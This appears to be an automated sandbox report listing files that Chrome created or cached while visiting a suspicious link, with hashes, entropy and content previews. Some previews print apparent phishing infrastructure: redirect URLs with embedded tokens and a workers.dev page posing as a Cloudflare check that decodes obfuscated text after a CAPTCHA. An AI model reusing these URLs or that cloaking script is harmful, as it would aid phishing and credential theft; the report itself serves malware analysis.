Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 14 16:11:51 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9817789786530646
Encrypted:	false
SSDEEP:
MD5:	30A6AA3427B812350D5822FD2CC03656
SHA1:	1D5F99F50CF943405010BA4A9DF33B32597FDD64
SHA-256:	4E403854715EA971525B05113F84456B80FFEF0D5FD904CE77843FCC8E22D714
SHA-512:	B74792A943C52215B5C7C7EED3AFEA69587BF4DA6AC38AC412A4AAA0D777CDE5437E9A599DBC29B538AC96E6C988B4B30C9FD56916F08DB89373C704552920D3
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....IMg.f..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Zq.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zy.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Zy.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Zy............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Zz............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 14 16:11:51 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9992961538552843
Encrypted:	false
SSDEEP:
MD5:	9CA02B7CA15F1EB6944324688EE62797
SHA1:	0E8E3D84E6352366654B391D568EE5BB5BB8F8C3
SHA-256:	0D74D4224D55CA2D8E7DE333946ED4721F7E1FFC3D5F5CB759B23561A78D9AF3
SHA-512:	692A2B86221D1A8D845AE99C1B3A30155CCFB95E79DF80B6FCBE9807BB282BB8C52734F95620A2738EAF0D70AACC6FD29E825A3310A81C6C4F7E73E8E948FD30
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....7?g.f..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Zq.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zy.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Zy.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Zy............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Zz............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.008622647933631
Encrypted:	false
SSDEEP:
MD5:	9F5FEE3A669D0D792DA5D5D5ECD9D3A9
SHA1:	59B491CFD72FD40E84B588449F798608A57646F0
SHA-256:	294B80FE8C47A91E59272BDAFFA46336508483E11BE6DB09DED32D91FE5DB7D6
SHA-512:	696088CC053BF5AB5B1992F7CF9E1C66F4CCDA6DA7C0237C5286271D5FFA0671DA4FAAB8082B8B17816C3F71C5C96F30393E852F5FBD7A1445C5E1E5651D5ECB
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Zq.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zy.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Zy.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Zy............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 14 16:11:51 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9963779317469292
Encrypted:	false
SSDEEP:
MD5:	D73327D6F7F4D24D787682447D775DCF
SHA1:	2BF3531C8C8933F4ADB2D393E5770607E306F1FB
SHA-256:	2E9F97227B47A37100D7C42244D2F946E78D2BF3E21FF480E69E0B967A441419
SHA-512:	8D531182D9363EFF1162DB3F738687BF96EC2C4D5757A79DB554196EB90CFE9B5C39722A9813728014B4C44E9A0527AA562D5EDABC596F521C7E7515BFB78E63
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......8g.f..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Zq.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zy.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Zy.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Zy............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Zz............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 14 16:11:51 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9864539884821
Encrypted:	false
SSDEEP:
MD5:	CF8A825F05EEC637B03BA1A48AC0F7AB
SHA1:	9A16A9D7D5A5DD081B6D2BDEFED11F5462604D79
SHA-256:	77618946F26A7200B1DF5283EFA9B743B1BD3685B3592036C21BA9C7E46AA09F
SHA-512:	883F3590A0DB7F9499103BD4BC48640C34DB3CD2EC0D08ED46550C4F18044B82411454E5148E7C86A6D86CF0E40AA0405738371DEA9D286A57FA76B0EED174E1
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....<Fg.f..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Zq.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zy.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Zy.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Zy............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Zz............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 14 16:11:51 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9934551757666052
Encrypted:	false
SSDEEP:
MD5:	DF951C3CAD60C747AF5C1F9B594E2550
SHA1:	315815FC3EECE8E330ABBE4CC3F2B23EE7D72B59
SHA-256:	21A35D8AA1316A928C03121B68A35C15DA5F003D40EB36E3DAC9660AEFDB5D1F
SHA-512:	CDDB8F97CEBC3A54EE11E3310AA25CF9DBA8D9D3A035D665F785BC365ADCB4171255B5F96A9F9BDA7F0BA043CA8B41083EFB22143E0B55C37F8307194FDAA15B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....G.g.f..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Zq.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Zy.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Zy.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Zy............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Zz............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	358
Entropy (8bit):	5.810183220401838
Encrypted:	false
SSDEEP:
MD5:	509616374E25263893702DE20030832A
SHA1:	05B12577F63169CAEA83EC3B3CB34A435900B666
SHA-256:	829A22EABF4989D23B51929FBF5BB1E7A721692070C5A68A5620F83BA7B81CC6
SHA-512:	0317CBD63A0D073B5BB4A4EEFD9551B6C42913E54F58AA89C0D9AE924513EFB0112A1EA26808D296C58486B3ADE1D6C14B0EE5CD50A2F7FB5DF478D2C0C40820
Malicious:	false
Reputation:	unknown
URL:	https://bastionbrands.org/?qerbmqhy
Preview:	{"url":"https://4fi0t4hki98.lifelinegrant.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovLzRmaTB0NGhraTk4LmxpZmVsaW5lZ3JhbnQuY29tLyIsImRvbWFpbiI6IjRmaTB0NGhraTk4LmxpZmVsaW5lZ3JhbnQuY29tIiwia2V5IjoiQ1JsV2JId3lXRjlEIiwicXJjIjpudWxsLCJpYXQiOjE3MzY4NzQ3NzMsImV4cCI6MTczNjg3NDg5M30.doZnV1CBMDfMVE4mayPHAsUycrNLi6k3dd9nDKoC1B4","frame":true}

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1899)
Category:	downloaded
Size (bytes):	5747
Entropy (8bit):	5.3655559569028926
Encrypted:	false
SSDEEP:
MD5:	5235F90FC0F92CF599DF8083E6D18AE8
SHA1:	4BFC0455EFC6A6FFC0B48DB32D17192760C72CB9
SHA-256:	7A5D5E7CA7A739687EF4D4E036442C3ED2BB725C4332B77DF80BEE852394C2A6
SHA-512:	2FA3E8BEC8F97BF6831310343C388A154481EB8CED4B60CB97AD70C9DB99E1A851B5895561F1497DA85483215AD5DB370ED61814F60A82BE83F421F9232F9F9C
Malicious:	false
Reputation:	unknown
URL:	https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev/
Preview:	<!doctype html>.<html lang="en-US">.<head> . <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> . <title>Just a moment...</title> . <meta content="width=device-width,initial-scale=1" name="viewport"> . <script>. var verifyCallback_CF = function (response) {. if (response && response.length > 10) {. sendRequest(); // Only send the request after CAPTCHA is solved. }. };.. window.onloadTurnstileCallback = function () {. turnstile.render("#turnstileCaptcha", {. sitekey: "0x4AAAAAAA5LpsjCCymM0ypi", . callback: verifyCallback_CF,. });. };.. function hh2(encryptedText, shift) {. let decryptedText = "";. for (let i = 0; i < encryptedText.length; i++) {. let c = encryptedText[i];. if (c.match(/[a-z]/i)) {. let code = encryptedText.charCodeAt(i);. if ((code >= 65) && (code <= 90)) {. c = String.fromCharCode(((code -

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	unknown
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1600 x 1122, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	136061
Entropy (8bit):	7.907640929566779
Encrypted:	false
SSDEEP:
MD5:	699C5BE4CB524A5452F255791028CCE2
SHA1:	5D77D25722813CBBEBE0F1FCAF3BCD472AB4369F
SHA-256:	7A3E14E4CDFCEE7E002E5BBE7B5B3B8603FBCA2C86700B5CC1603EBD0426EB25
SHA-512:	E918C4A771F79D40FD90050FD3A8477B2DFC56ECF731861FD32420B748B94D8A2758F317337A5F1494E5EA3490E1A21E205D24060C31DA7D92B4AF5903808EA3
Malicious:	false
Reputation:	unknown
URL:	https://lh7-rt.googleusercontent.com/drawingsz/AHiSRb2o9fEfNT55pAlbLaAZB5W7PAukKE8gBEeVHi3EXU_pVGTlhr5sCJ9upg2LgKGM_qX4Mi9RoBwyydTMXjQpbmTISee8ij74KTZYqdmz0vOc5XVJJAZyIU6ziK_rb-COa28?key=DfOy8i41ssrBomXUfZT-O6tn
Preview:	.PNG........IHDR...@...b.....s.......sBIT.....O.....zTXtRaw profile type APP1....U.K..0.D.>E.0.X..S........r..2..1....>.>....x.........b..!PO.Y.H.Z.......qabTb.,..G.@8.j.'...O.R....d.Ia....j[.....,.d.... .IDATx...w..U.....m.kv7..nz.IHBH.....z16,x..Wl?...r...+* ......BH#..M..-.l..m3s~.l..f..(....>...s.L..}{.g..Z.......deE...=............:%.t..-I..........pVFj..:=..b.S.E..A.........h.....<.sO.H.bL.4...........fi..R.i...P........M`...........!.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R#.......@R.N...Ck}.........:.C.WF..:...........o...`.P......p.,!Nz...........OY\i....._~.g.}../............D..?..D.w...[.xQ...T...q..<....@.......0..5..).R<....X,v.N<......V6t.PO.]o.7g...d6......QYZk.u.L".T$.9i.x\|..Iy....u.I...;95'.A......[......puu....S".m..O...#..h....G]2,......o....u...z."..8'

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	312625
Entropy (8bit):	4.963942571669202
Encrypted:	false
SSDEEP:
MD5:	A6115498F2B7DE2DEEA929F08706A659
SHA1:	787D1B60B9F7BCFDB51B863FFAFD4DD3EA661AFE
SHA-256:	0FAD9833603F368C1C73E4ED2AC59CCEA1E1C05EBA98B635AFE5656FA1D8E3CC
SHA-512:	62FFC92FE4CBE7203F4185BF25514B1E8F0E1FD0DF03E638E183E3629644D4058B280C694F45AE36366739498354F9CC7323B1FD8C31DE5E89D069D388EADD30
Malicious:	false
Reputation:	unknown
URL:	https://docs.google.com/static/drawings/client/css/3590561575-preview_css_ltr.css
Preview:	.jfk-butterBar{border-radius:2px;box-shadow:0 2px 4px rgba(0,0,0,.2);transition:all 0s linear 1s,opacity 1s;border-style:solid;border-width:0;font-size:11px;height:0;opacity:0;visibility:hidden;overflow:hidden;padding:0;text-align:center}.jfk-butterBar-info{background-color:#f9edbe;border-color:#f0c36d;color:#333}.jfk-butterBar-error{background-color:#484848;border-color:#202020;color:#fff}.jfk-butterBar-promo{background-color:#d6e9f8;border-color:#4d90f0;color:#333}.jfk-butterBar-warning{background-color:#dd4b39;border-color:#602019;color:#fff}.jfk-butterBar-shown{transition:opacity .218s;border-width:1px;min-height:14px;height:auto;opacity:1;visibility:visible;padding:6px 16px}.jfk-butterBar-mini.jfk-butterBar-shown{padding:2px 16px}.docs-butterbar-container{font-weight:500;height:0;position:absolute;text-align:center;top:32px;width:100%;z-index:1004}.docs-hub-butterbar{top:57px}.docs-gm .docs-butterbar-container{font-weight:400}.docs-butterbar-container.docs-butterbar-container-comp

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3855)
Category:	downloaded
Size (bytes):	142466
Entropy (8bit):	5.469910909891601
Encrypted:	false
SSDEEP:
MD5:	406995DB3B77760B7BF9E0845A4A4018
SHA1:	2BCB02F8FD8007B6F5E7B6DC66804B57206000C2
SHA-256:	DE2F36278164EE094BEBD92A203D14B232F99B28CB1358679465AF9E321791E8
SHA-512:	2BA1C53F304BB9EBB39EA9C79C7B8DB3B4425B39C19CAA45D5BFD302803405F1543C6596018A5418F67AAE8B12BCA419D2667EADCD6D061D18D49AAFADF3F5E4
Malicious:	false
Reputation:	unknown
URL:	https://docs.google.com/static/drawings/client/js/2566868265-preview_core.js
Preview:	function _F_toggles_initialize(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]}_F_toggles_initialize([]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var aa="Edge",ba="Error in protected function: ",ca="Missing error cause.",da="Not available",ea="SCRIPT",fa="_/wa/",ha="apps_telemetry.processed",ia="attributionsrc",ja="bigint",ka="boolean",la="buildLabel",ma="complete",na="error",pa="fatal",n="function",qa="gssmodulesetproto",ra="iPad",sa="iPod",ua="incident",va="jsaction",wa="kaspersky-labs",xa="neurosurgeonundergo",r="number",u="object",ya="prerender",za="severity",Aa="severity-unprefixed",w="string",Ba="success",Ca="true",Da="unhandledrejection";.function Ea(){return function(a){return a}}function x(){return function(){}}function Fa(a){return function(){return this[a]}}function Ga(a){return function(){return a}}var y;function Ha(a){var c=0;return function(){return c<a.length?{done:!1,value:a

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3 x 30, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:
MD5:	2DC606C46060C656366E08DA3121D269
SHA1:	DAA7BD64B33B2D245643350D0BC1D24785A4AFB9
SHA-256:	2B2A4F967751507CE9DB5B405A9F2772B4C27426DAC18A9ED35EFA591B0FCFCE
SHA-512:	2195CDD1FE672ED4C95603F7759ABF2070CB67EB34D9BCFCC8B0D6FB9EA5EA9658409D84620C83339E7E5DEB14713A5EB691C12729EEFE6CA92EE09D2C041A9E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............f.3.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	2.6405445103388026
Encrypted:	false
SSDEEP:
MD5:	45E6383ED6764BCF66BB7CDA685BDEF8
SHA1:	321AE49DC907E998D30E89BFE19B611CFEF2B222
SHA-256:	9FEA566760E23830FB440B59122AFE4636A63E1997DBEAFC60A701BBE213B165
SHA-512:	D1F29A7F13C231AFFD42DACA34E142AE225A50E97D173033F38E977F255B83C78B4AF30969474E59E269310D045DEB2712AA307D4E3301F04496BDD0CAD12B7A
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....@...................7D.7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D.7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D......................7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D......................7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D......................7D..7D..7D..7D..7D..7D..7D..P[..........7D......................7D..7D..7D..7D..7D..7D..v...............7D......................7D..7D..7D..7D..7D..7D..................7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..............................7D..7D..7D..7D..7D..7D..7D..7D..7D..............................7D..7D..7D..7D..7D..7D..7D..7D..7D..........................P[..7D..7D..7D..7D..7D..7D..7D..7D..7D..DP..................v...7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D..7D

Static File Info

⊘No static file info

